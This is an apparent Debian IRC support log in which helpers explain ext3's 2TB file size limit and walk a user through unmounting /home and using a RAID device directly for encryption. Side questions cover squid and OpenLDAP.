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21:42<boyfid>kool first time on this
21:42<nasuta-work>welcome boyfid
21:43<boyfid>i am trying to use the codes to start to hack but i am not geting true
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21:43<nasuta-work>you want what? boyfid
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21:45<bobob>when running this command: /msg dpkg pastebin
21:46<bobob>when running this cmd: dd if=/dev/zero of=volume bs=1k count=5583450000
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21:46<bobob>i only get a partotion size of 2TB
21:46<bobob>and not 5.2TB
21:46<bobob>why is this?
21:46<Yaizerg>someone has a manual or tutorial on how to install and configural squid with authentication??
21:47<abrotman>bobob: what is "volume" ?
21:47<bobob>a virtual volume
21:48<abrotman>and what is the filesystem ?
21:48<bobob>i am going to mount
21:48<bobob>it is a raid of 6TB
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21:48<bobob>that is the server
21:48<bobob>i plan on using ext3 on the filesystem
21:49<bobob>but i cant get it over 2TB
21:49<abrotman>you really don't need a conut if you want to zero the whole thing
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21:49<bobob>well the volume does not exist
21:49<bobob>so i need to make one of that size
21:50<bobob>but it wont go over 2TB
21:50<abrotman>oh ..
21:50<abrotman>duh ..
21:50<abrotman>largest filesize on ext3 is 2TB
21:50<abrotman>the filesystem can be larger, but the file cannot
21:50<bobob>but block size is 4K
21:51<abrotman>and what? the max is still the max
21:51<bobob>if the block size id bigger
21:51<bobob>doesn't it raise the max
21:51<abrotman>the max no matter what the block size is 2TB
21:52<abrotman>but couldn't you just format the volume?
21:53<bobob>wiki sais different..
21:53<abrotman>FILESIZE .. not filesystem size
21:53<abrotman>so why not create a partition that is 6TB and format it ext3 ?
21:54<bobob>could i create a partition and use ext4
21:54<abrotman>you could i suppose, do you need files larger than 2TB?
21:54<bobob>yes :/ the raid doesn't matter right
21:55<abrotman>which kernel do you have?
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21:55<bones_was_here>bobob: why are you trying to put a filesystem as a file on another filesystem? there -are- times when it's useful to do that but it doesnt sound like this is one of those
21:55<abrotman>bones_was_here: enough with logic!
21:56<bobob>you guys tell me 0.o
21:56<abrotman>bobob: so you can use ext4 if you want, XFS/JFS would also work
21:56<bobob>how would i create the partition
21:56<bones_was_here>if you're trying to split a linux md device into "partitions", probably you should use LVM
21:57<bobob>bones_was_here: it is for encryption if that matters. That is why i am using file
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21:58<bones_was_here>you still dont need to do it like that... but you can if you really want to, as long as the filesystem you're working on top of allows big enough files
21:59<bobob>ok, si i am not an expert with raids at all
21:59<bobob>how would i
21:59<bobob>take the /dev/md4
21:59<bobob>and make it ext4
22:00<bobob>through LVM or whatever
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22:02<bobob>and when i do
22:02<bobob>fdisk -l
22:02<bobob>i get conflicting
22:03<bobob>so the first one tells it
22:03<bobob>tell the actual raided disk
22:03<bones_was_here>if you're trying to end up with a single, huge, encryped filesystem then use /dev/md4 as the base block device, you dont need to put a filesystem on it, then put another volume on top of that
22:04<bobob>i hate to be a winy noob
22:04<bobob>but can you give me some details on how to do that
22:04<abrotman>and an enter key abuser
22:04<bones_was_here>you only need a filesystem (eg ext3) on the block device provided by whatever encryption scheme
22:05<bobob>so create the partition on the /dev/md4
22:05<bobob>loop it
22:05<bones_was_here>also fdisk only supports the old DOS/MBR partition layout, which supports a maximum device size of 2TB
22:05<bobob>and encrypt the partition
22:05<bones_was_here>no dont create a partition on /dev/md4
22:05<bones_was_here>just use it raw
22:05<bobob>volume != parition
22:06<bones_was_here>you only need partitions on actual disks (even then they're optional)
22:06<bobob>so how do i put a volume on a hug raided disk
22:07<bones_was_here>tell whatever encryption scheme you're using, to use /dev/md4 instead of the 'virtual volume'
22:09<bones_was_here>are you following a howto
22:10<bobob>offcourse :
22:10<bobob>so how can i tell
22:10<bobob>if files are being stored on that disk
22:10<bobob>and could i create a loopback to a folder
22:11<bobob>( in my noob terms, when i right to a folder, everything there goes to md4 )
22:11<bones_was_here>you can mount your encrypted device on a folder, once it has a filesystem, yes
22:11<bobob>how do i know if it is already mounted
22:12<bones_was_here>type 'mount'
22:12<bones_was_here>(no arguments)
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22:14<bobob>yea, it is mounted on /home
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22:14<bones_was_here>i would guess you configured it to do that when you installed debian
22:15<bobob>yea, this is fine though
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22:16<bones_was_here>yes but to use the /dev/md4 directly for encryption, you'll need to copy any files currently in /home to another volume so you can dismount it and replace its filesystem with an encrypted volume
22:17<bobob>how do i change where home goes then
22:18<bones_was_here>...or you could upgrade the filesystem to ext4 so it allows files bigger than 2TiB, but i think you mentioned that this is a server before, and that workaround isn't very efficient
22:19<bones_was_here>your /etc/fstab specifies what mounts where when the system boots
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22:19<Zarion>So anyone know how to compile something on Debian x86_64?
22:20<bobob>make install
22:20<Zarion>./configure errors out.
22:20<Zarion>checking host system type... Invalid configuration `x86_64-unknown-linux-gnu': machine `x86_64-unknown' not recognized
22:20<bones_was_here>if you don't specify a block device to mount on /home then /home will be on your / (which is ok, as long as there's enough space, and nobody fills that volume with crud and uses all the space)
22:21<bobob>'/ being rootfs'
22:21<bobob>if so
22:22<bobob>than that would be fine as it has 15GBs still
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22:23<Zarion>./configure is unable to detect my x86_64 system.
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22:24<Zarion>Openldap is being a pain.
22:25<bones_was_here>openldap is pacakged in debian
22:25<Zarion>yea, but I need slapd, I need to compile it manually, and ./configure should detect the cpu type in my vps, as uname -a shows the correct information.
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22:26<abrotman>slapd is in debian
22:26<abrotman>judd: versions slapd
22:26<judd>Package slapd on i386 -- etch: 2.3.30-5+etch3; etch-security: 2.3.30-5+etch3; lenny: 2.4.11-1; lenny-security: 2.4.11-1+lenny2; lenny-backports: 2.4.17-2.1~bpo50+1; squeeze: 2.4.23-6; sid: 2.4.23-7
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22:27<Zarion>I just seen that, I was following a tutorial on cluenet and well it has a bunch of switches ;P I'm not very knowledable on ldap.
22:28<Zarion>I'll have to wing it and see if I can get it to work, the tutorial sets up a local ldap mirror.
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22:28<bones_was_here>replication works fine in debian's slapd
22:28<abrotman>you'd be probably better off to use the debian packages
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22:31<bobob>bones_was_here: so if i were to take /home out of the /etc/fstab it will default to / ( thx for your help :D )
22:31<bones_was_here>bobob: yes, but files currently in /home wont be there anymore unless you copy them
22:31<bobob>if i did
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22:32<bobob>if i did do that
22:32<bobob>/dev/md4 wouldnt mount auto
22:32<bobob>i would have to mount it manually
22:32<abrotman>well, you have to create a /home/ on / also
22:32<abrotman>it wouldn't just magicaly appear
22:32<bones_was_here>abrotman: it should already be there, else he couldn't have mounted /dev/md4 on it
22:33<bobob>how can i check
22:33<abrotman>sorry, yes .. the contents .. the mount point is there so technically it's there
22:34<bones_was_here>bobob: is there any data in /home that you care about?
22:34<abrotman>not a single bit?
22:34<bobob>:) no
22:35<bobob>not as of now
22:35<bobob>will be soon
22:36<abrotman>you hope
22:36<bobob>mount / /home
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22:36<bobob>would that do it
22:36<bones_was_here>if you dismount /dev/md4 your /home will be an empty directory, so before you can log in as a user you'll need to recreate a home directory for them
22:37<bones_was_here>bobob: no, just umount /home
22:37<bones_was_here>provided nothing is using it ;)
22:38<bobob>looks like that worked
22:38<bobob>so now that removed mount home on /dev/md4
22:38<bobob>from fstab
22:39<bobob>and unmounted like you said
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22:40<bones_was_here>bobob: so if /dev/md4 no longer shows when you type 'mount' and you're really sure there's nothing of value on there, go ahead and use /dev/md4 as your block device for encryption
22:41<bones_was_here>! data on it *will* be overwritten !
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23:06<bobob>everything worked thx bones_was_here & abrotman
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23:08<bones_was_here>yay bobob
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